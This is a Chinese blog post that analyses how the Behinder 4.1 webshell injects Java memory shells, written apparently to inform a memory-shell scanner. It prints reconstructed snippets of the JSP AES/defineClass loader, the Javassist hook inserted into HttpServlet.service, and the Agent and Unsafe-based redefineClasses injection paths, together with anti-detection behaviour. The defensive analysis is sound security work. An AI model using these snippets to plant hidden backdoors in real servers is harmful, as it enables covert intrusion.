冰蝎 4.1 Java 内存马注入链分析

冰蝎 4.1 Java 内存马注入链分析

最近正在开发 Java 内存马扫描分析工具。
这次翻冰蝎 4.1,不是为了复现攻击链,而是想把它在 JVM 里动了哪些东西弄明白。只有先知道它怎么塞进去、塞到哪儿,后面写扫描和拦截逻辑才不会只靠猜。

Java 内存马注入流程中文图

目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 背景:为什么不能只扫 Web 组件
2. 入口层:JSP Shell 与 MemShell 调度
2.1 JSP Shell 如何执行 Payload
2.2 注入时 shell.jsp 怎么执行 MemShell
2.3 MemShell 里的 action 分支
2.4 action=get 如何探测入口类
3. 字节码改造:classBody 怎么变成 Hook 版
3.1 客户端用 Javassist 生成新 classBody
3.2 具体 Hook 哪些方法
3.3 插入进去的逻辑长什么样
4. 注入层:AgentNoFile 与 Agent 两条路径
4.1 AgentNoFile 无文件注入
4.2 Agent 落地 Jar 注入
5. 注入流程图
6. 防检测 antiAgent
7. 扫描工具可以怎么落地
8. 总结

1. 背景:为什么不能只扫 Web 组件

一开始做 Java 内存马扫描,很容易把注意力全放在 Filter、Servlet、Listener 这些运行时注册表上。

这条路当然要查,但冰蝎 4.1 的 Agent 注入链说明,只查这些还不够。它不一定老老实实注册一个新 Filter,而是可以直接改 JVM 里已经加载好的请求入口类。

这种思路更像是:

1
请求入口类 Hook 型内存马

要看的不只是“容器里多了什么组件”,还要看:

1
原本的 HttpServlet / ServletStubImpl 有没有被重新定义

所以工具侧不能只枚举组件,还得能看关键类的字节码有没有被人动过。

2. 入口层:JSP Shell 与 MemShell 调度

这一层先看三个问题:请求是怎么进来的,注入时 shell.jsp 怎么把 MemShell 跑起来,以及跑起来以后由哪个 action 分支接着处理。

2.1 JSP Shell 如何执行 Payload

冰蝎服务端 JSP 模板不长,但里面有一个很值得盯的点:动态类加载。

server/shell.jsp 为例,里面会先准备一个很小的 ClassLoader:

1
2
3
4
5
6
7
8
9
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

请求进来以后,再把请求体解密,然后直接喂给这个 ClassLoader:

1
2
3
4
5
6
7
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

new U(this.getClass().getClassLoader())
.g(c.doFinal(base64Decode(requestBody)))
.newInstance()
.equals(pageContext);

也就是说,这个 JSP 入口大概是这么跑的:

1
2
3
4
5
POST 加密请求体
-> JSP AES 解密
-> ClassLoader#defineClass 动态加载 payload
-> newInstance()
-> equals(pageContext) 执行

这里可以先记一个很直接的检测点:

1
请求线程内 defineClass + equals(pageContext)

2.2 注入时 shell.jsp 怎么执行 MemShell

注入内存马时,shell.jsp 自己不是内存马本体,它更像一个远程 class 执行入口。

冰蝎客户端点击注入后,会把要执行的 Java payload 加密后 POST 到 shell.jspshell.jsp 做完 Base64 和 AES 解密后,拿到的是一段 class 字节码,然后通过前面的 U.g(...) 直接 defineClass 加载进当前 JVM。

这一步加载的 payload,注入链里主要就是:

1
net.rebeyond.behinder.payload.java.MemShell

所以注入时的执行关系可以拆成这样:

1
2
3
4
5
6
7
8
冰蝎客户端点击注入
-> 发送加密后的 MemShell class
-> shell.jsp 解密请求体
-> defineClass 加载 MemShell
-> newInstance()
-> equals(pageContext)
-> MemShell.equals() 开始执行
-> 根据 action 进入 get / injectAgent / injectAgentNoFile

换句话说,shell.jsp 只负责把客户端发来的 class 跑起来。真正决定“探测入口类、生成注入参数、执行 Agent 注入”的,是后面被动态加载的 MemShell

这个关系对扫描工具也很重要:不要只看 shell.jsp 文件里有没有 injectAgent 字符串。很多时候 JSP 里只有 AES、Base64、defineClassequals(pageContext),真正的注入逻辑是请求里动态送进去的。

2.3 MemShell 里的 action 分支

Java 内存马注入这块,主要逻辑集中在这个类里:

1
net.rebeyond.behinder.payload.java.MemShell

翻这个类时,先看这几组字段:

1
2
3
4
5
6
7
8
public static String action;
public static String type;
public static String className;
public static String classBody;
public static String libPath;
public static String password;
public static String antiAgent;
public static String path;

最值得关注的是这几个 action

1
2
3
action=get
action=injectAgent
action=injectAgentNoFile

后面整条链路怎么走,基本就是看 action 的值。

2.4 action=get 如何探测入口类

冰蝎不是上来就硬改。它会先问目标 JVM:你这里能找到哪个请求入口类?

目标端 MemShellaction=get 分支,会按顺序去读这几个 class 资源:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String[] targetClassArr = new String[] {
"/weblogic/servlet/internal/ServletStubImpl.class",
"/jakarta/servlet/http/HttpServlet.class",
"/javax/servlet/http/HttpServlet.class"
};

for (String targetClass : targetClassArr) {
InputStream in = this.getClass().getResourceAsStream(targetClass);
if (in == null) {
continue;
}

result.put("className", targetClass);
result.put("classBody", base64encode(classBytes));
break;
}

所以它实际盯上的就是这三个候选类:

1
2
3
weblogic.servlet.internal.ServletStubImpl
jakarta.servlet.http.HttpServlet
javax.servlet.http.HttpServlet

这里有个点很容易误会:这一步返回的 classBody 还不是“内存马字节码”。它只是目标 JVM 里原始入口类的字节码。

3. 字节码改造:classBody 怎么变成 Hook 版

拿到原始入口类以后,下一步就是把它改成带 Hook 的版本。这一段发生在客户端侧,也是后面做字节码检测时最值得细看的地方。

3.1 客户端用 Javassist 生成新 classBody

不看 JNDI 插件的话,Hook 版 classBody 是在冰蝎客户端侧生成的,位置在:

1
net.rebeyond.behinder.ui.controller.MainController.injectAgentNoFile(...)

这段逻辑做的事很直接:拿到 action=get 返回的原始类字节码,然后用 Javassist 往入口方法前面插一段代码。

把代码还原成容易看的流程,大概是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
JSONObject result = shellService.getMemShellTargetClass();

JSONObject msg = new JSONObject(result.getString("msg"));

String className = msg.getString("className")
.replaceFirst("/", "")
.replace("/", ".")
.replace(".class", "");

String classBody = msg.getString("classBody");
byte[] originBytes = Base64.getDecoder().decode(classBody);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ByteArrayClassPath(className, originBytes));

CtClass ctClass = pool.get(className);

Map targetConfig = targetClasses.get(className);
String methodName = targetConfig.get("methodName").toString();
List<String> paramList = (List<String>) targetConfig.get("paramList");

CtMethod method = ctClass.getDeclaredMethod(methodName, paramTypes);

拿到 CtMethod 之后,客户端会拼出要塞进去的那段逻辑:

1
2
3
4
5
6
7
8
ICrypt cryptor = shellService.getCryptor();

String code = String.format(
Constants.shellCodeWithDecrypt,
path,
Base64.getEncoder().encodeToString(cryptor.getDecodeClsBytes()),
"Decrypt"
);

然后把它插到目标方法开头:

1
2
3
4
5
6
method.insertBefore(code);

byte[] modifiedBytes = ctClass.toBytecode();

String newClassBody =
Base64.getEncoder().encodeToString(modifiedBytes);

这一段串起来就是:

1
2
3
4
5
6
7
原始 classBody
-> Base64 解码
-> Javassist 加载 CtClass
-> 找 service() / execute()
-> insertBefore(shellCodeWithDecrypt)
-> CtClass.toBytecode()
-> Base64 编码成新的 classBody

所以扫描时没必要只盯着 classBody 这个参数本身。真正要抓的是:入口方法里有没有多出这种动态加载和解密执行的字节码模式。

3.2 具体 Hook 哪些方法

客户端里有一张目标类到方法的映射表。

整理出来大概是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
targetClasses.put("javax.servlet.http.HttpServlet", {
methodName: "service",
paramList: [
"javax.servlet.ServletRequest",
"javax.servlet.ServletResponse"
]
});

targetClasses.put("jakarta.servlet.http.HttpServlet", {
methodName: "service",
paramList: [
"jakarta.servlet.ServletRequest",
"jakarta.servlet.ServletResponse"
]
});

targetClasses.put("weblogic.servlet.internal.ServletStubImpl", {
methodName: "execute",
paramList: [
"javax.servlet.ServletRequest",
"javax.servlet.ServletResponse"
]
});

所以最后被塞逻辑的地方就两个方向:

1
2
HttpServlet.service(...)
ServletStubImpl.execute(...)

3.3 插入进去的逻辑长什么样

Constants.shellCodeWithDecrypt 展开以后,大概就是在入口方法前面加了这么一段判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (request.getRequestURI().matches(pathPattern)) {
if (request.getMethod().equals("POST")) {
byte[] requestBody = readRequestBody(request);

byte[] decryptBytes = base64Decode(decryptClass);
Class decryptCls = defineClass(decryptBytes);

byte[] payloadBytes = decrypt(requestBody);
Class payloadCls = defineClass(payloadBytes);

payloadCls.newInstance().equals(obj);
return;
}
}

其中 obj 里放的是:

1
2
3
request
response
session

运行期真正触发时,链路差不多是这样:

1
2
3
4
5
6
7
8
POST /memshell
-> 进入被 Hook 的 service() / execute()
-> 匹配路径
-> 读取请求体
-> 加载解密类
-> 解密 payload
-> defineClass 动态加载
-> equals(request/response/session) 执行

4. 注入层:AgentNoFile 与 Agent 两条路径

到这里,Hook 版字节码已经准备好了。接下来分成两条路:一种尽量不落地 Agent 文件,另一种生成并上传一个定制 Agent Jar。

4.1 AgentNoFile 无文件注入

AgentNoFile 这条路的特点,是尽量不在目标上落一个 Agent Jar。

前面客户端已经把入口类改成了 Hook 版,接下来会把类名和新的字节码一起发过去:

1
2
3
4
5
shellService.injectAgentNoFileMemShell(
className,
newClassBody,
antiAgent
);

请求里主要带这几个值:

1
2
3
4
action=injectAgentNoFile
className=javax.servlet.http.HttpServlet
classBody=修改后的字节码 Base64
antiAgent=true/false

目标端看到 action=injectAgentNoFile 后,会进入这个分支:

1
2
3
4
5
6
7
8
9
if ("injectAgentNoFile".equals(action)) {
enableAttachSelf();

doInjectAgentNoFile(
className,
base64decode(classBody),
Boolean.parseBoolean(antiAgent)
);
}

再往下会按操作系统拆分处理:

1
2
3
4
5
6
7
8
9
String os = System.getProperty("os.name").toLowerCase();

if (os.contains("windows")) {
agentForWindow(className, classBytes, antiAgent);
} else if (os.contains("mac")) {
// 支持不完整
} else {
agentForLinux(className, classBytes, antiAgent);
}

这条路之所以值得重点盯,是因为它会碰到这些比较敏感的东西:

1
2
3
4
sun.misc.Unsafe
sun.instrument.InstrumentationImpl
ClassDefinition
redefineClasses

如果是 Linux,痕迹还会更明显一些,会碰到:

1
2
3
4
5
/proc/self/maps
/proc/self/mem
libjava.so
libjvm.so
JNI_GetCreatedJavaVMs

但不管中间怎么绕,最后还是为了调用这一步:

1
2
3
4
5
6
ClassDefinition definition = new ClassDefinition(
Class.forName(className),
modifiedClassBytes
);

instrumentation.redefineClasses(definition);

4.2 Agent 落地 Jar 注入

Agent 分支就更传统一点:先做一个定制过的 Agent Jar,再让目标 JVM 自己把它加载起来。

客户端会先准备一个远程临时路径。

Windows 类似:

1
c:/windows/temp/{random}

Linux 类似:

1
/tmp/{random}

接着从内置资源里选一个 Agent 模板:

1
2
3
4
net/rebeyond/behinder/resource/tools/tools_0.jar
net/rebeyond/behinder/resource/tools/tools_1.jar
net/rebeyond/behinder/resource/tools/tools_2.jar
net/rebeyond/behinder/resource/tools/tools_3.jar

生成定制 Jar 的入口是:

1
2
3
4
5
6
personalizedAgentJar(
templateJarPath,
memshellPath,
decryptClassBase64,
"Decrypt"
);

这个方法会先把这些参数准备好:

1
2
3
4
params.put("path", memshellPath);
params.put("decryptClassStr", decryptClassBase64);
params.put("decryptName", "Decrypt");
params.put("shellCode", Constants.shellCodeWithDecrypt);

然后读取模板里的这个类:

1
net/rebeyond/behinder/resource/tools/MemShell.class

然后通过:

1
Params.getParamedClass(...)

再把路径、解密类、待插入代码这些内容写进 Agent 内部的 MemShell.class 静态字段。

接着重新打包 Jar:

1
2
替换 Agent Jar 内部 MemShell.class
修改 META-INF/MANIFEST.MF 中的 Agent-Class

Jar 准备好以后,再上传到目标:

1
2
shellService.uploadFile(remotePath, personalizedJarBytes, true);
shellService.loadJar(remotePath);

目标端收到的注入参数大概是:

1
2
3
4
5
action=injectAgent
libPath=remotePath
path=memshellPath
password=passwordKey
antiAgent=true/false

真正加载 Agent 的地方,走的是 attach API:

1
2
3
4
5
6
7
8
9
enableAttachSelf();

Class<?> vmClass = ClassLoader
.getSystemClassLoader()
.loadClass("com.sun.tools.attach.VirtualMachine");

Object vm = attachMethod.invoke(null, getCurrentPID());

loadAgentMethod.invoke(vm, libPath);

也就是:

1
2
3
4
VirtualMachine.attach(当前 JVM)
-> loadAgent(libPath)
-> agentmain 获取 Instrumentation
-> redefineClasses 修改请求入口类

5. 注入流程图

flowchart TD
    A["冰蝎客户端<br/>点击注入内存马"] --> B["getMemShellTargetClass()"]
    B --> C["目标端 MemShell<br/>action=get"]

    C --> D{"探测目标 JVM 请求入口类"}
    D --> D1["weblogic.servlet.internal.ServletStubImpl"]
    D --> D2["jakarta.servlet.http.HttpServlet"]
    D --> D3["javax.servlet.http.HttpServlet"]

    D1 --> E["返回原始 className + classBody"]
    D2 --> E
    D3 --> E

    E --> F{"注入类型"}

    F --> G["AgentNoFile"]
    F --> H["Agent"]

    G --> G1["Base64 解码原始 classBody"]
    G1 --> G2["Javassist 加载 CtClass"]
    G2 --> G3["定位 service() / execute()"]
    G3 --> G4["insertBefore(shellCodeWithDecrypt)"]
    G4 --> G5["toBytecode() 生成替换字节码"]
    G5 --> G6["发送 action=injectAgentNoFile"]
    G6 --> G7["Unsafe / InstrumentationImpl"]
    G7 --> Z["Instrumentation.redefineClasses()"]

    H --> H1["生成个性化 Agent Jar"]
    H1 --> H2["上传目标临时目录"]
    H2 --> H3["VirtualMachine.attach 当前 JVM"]
    H3 --> H4["loadAgent(libPath)"]
    H4 --> H5["Agent 获取 Instrumentation"]
    H5 --> Z

    Z --> I["替换目标 JVM 已加载类"]
    I --> J["HttpServlet.service()<br/>或 ServletStubImpl.execute() 被插入 Hook"]
    J --> K["POST 注入路径"]
    K --> L["解密 payload"]
    L --> M["defineClass 动态加载"]
    M --> N["equals(request/response/session) 执行"]

6. 防检测 antiAgent

前端“防检测”对应参数:

1
antiAgent

它不是 Web 流量层面的隐藏,而是偏向:

1
2
3
反 Java Agent 查杀
反后续 attach
反后续查杀插件注入

它带来的一个直接影响是:

1
当前注入成功后,容器重启前可能无法再次通过同类方式注入

所以防护侧不能太依赖 Agent 文件或 Agent 列表。开启防检测后,这些痕迹可能被清理,也可能被干扰。

更值得盯的还是这些位置:

1
2
3
4
HttpServlet / ServletStubImpl 是否被 redefine
service() / execute() 字节码是否异常
JVM 是否访问 /proc/self/mem
是否出现 Unsafe / InstrumentationImpl / ClassDefinition

7. 扫描工具可以怎么落地

看到这里,工具思路其实就比较清楚了:别一上来就满 JVM 乱扫,先把几个最容易被改的入口盯住。

从零开始做的话,可以先记录一份“干净状态”。应用刚启动、业务还没被打过的时候,先把这些东西存下来:

1
2
3
4
5
6
Filter 列表
Servlet 映射
Listener 列表
Spring HandlerMapping
HttpServlet.service 字节码 hash
ServletStubImpl.execute 字节码 hash

这里面最容易被忽略的,其实是后面两个 hash。

因为冰蝎这条链不是一定新注册一个组件,它可以直接把已经加载的入口类改掉。你只看 Web 组件列表,很可能什么都看不出来。

第二步,把扫描范围先收窄到这几个类:

1
2
3
javax.servlet.http.HttpServlet
jakarta.servlet.http.HttpServlet
weblogic.servlet.internal.ServletStubImpl

拿到类字节码以后,不是简单看有没有某个字符串,而是看一组特征是不是扎堆出现。比如:

1
2
3
4
5
6
7
8
9
10
11
getRequestURI
matches
POST
getInputStream
Base64
ClassLoader#defineClass
SecureClassLoader
setAccessible(true)
newInstance
equals
request / response / session

单个特征不一定能定性。比如业务代码里也可能有 Base64,也可能有反射。

但如果这些东西同时出现在 HttpServlet.service()ServletStubImpl.execute() 这种入口方法里,那味道就不对了:

1
2
3
4
5
6
判断路径
只处理 POST
读取请求体
Base64 / AES 解密
defineClass 动态加载
newInstance + equals 执行

这几个动作连在一起,基本就是“请求进来以后现场解密并加载 class”的链路。

第三步才是拦截。优先卡这些动作:

1
2
3
4
5
Instrumentation.redefineClasses
VirtualMachine.attach
loadAgent
ClassLoader#defineClass
/proc/self/mem

这里面最敏感的是 redefineClasses。尤其是下面这种情况,基本可以直接打高危告警:

1
2
3
redefineClasses(javax.servlet.http.HttpServlet)
redefineClasses(jakarta.servlet.http.HttpServlet)
redefineClasses(weblogic.servlet.internal.ServletStubImpl)

如果再叠加这些现象,就不太适合再当成普通异常看了:

1
2
3
4
5
短时间内出现 attach / loadAgent
目标目录出现临时 Jar,随后又被删除
Linux 下访问 /proc/self/mem
入口类 hash 和启动基线不一致
入口方法里出现 defineClass 动态加载链

所以工具一开始没必要喊着“覆盖所有内存马”。这个口子太大,很容易做着做着就失焦。

更实际的做法,是先把它做成一个专门盯 Agent 型内存马的小工具:谁改了请求入口类、谁拿了 Instrumentation、谁在入口方法里塞了动态类加载逻辑,先把这几件事查准。等这条线稳定了,再慢慢扩到 Filter、Listener、Spring Controller 这些传统内存马类型。

8. 总结

把冰蝎 4.1 这条 Java 内存马注入链压缩一下,就是:

1
2
3
4
5
6
7
探测请求入口类
-> 取原始 classBody
-> 客户端 Javassist 插入 Hook
-> 生成替换后字节码
-> Agent / AgentNoFile 获取重定义能力
-> redefineClasses 替换 JVM 已加载类
-> 指定路径 POST 触发后续 payload

所以扫描工具不能只盯新增 Filter。

最后真正要抓的,还是这几件事:

1
2
3
请求入口类有没有被改
请求入口方法里有没有动态类加载链
JVM 有没有发生过敏感 redefine

这才是这类 Agent 型 Java 内存马绕不过去的地方。


冰蝎 4.1 Java 内存马注入链分析
https://pwned.icu/2026/06/10/冰蝎4.1-Java内存马注入链分析/
作者
m0b1u3
发布于
2026年6月10日
许可协议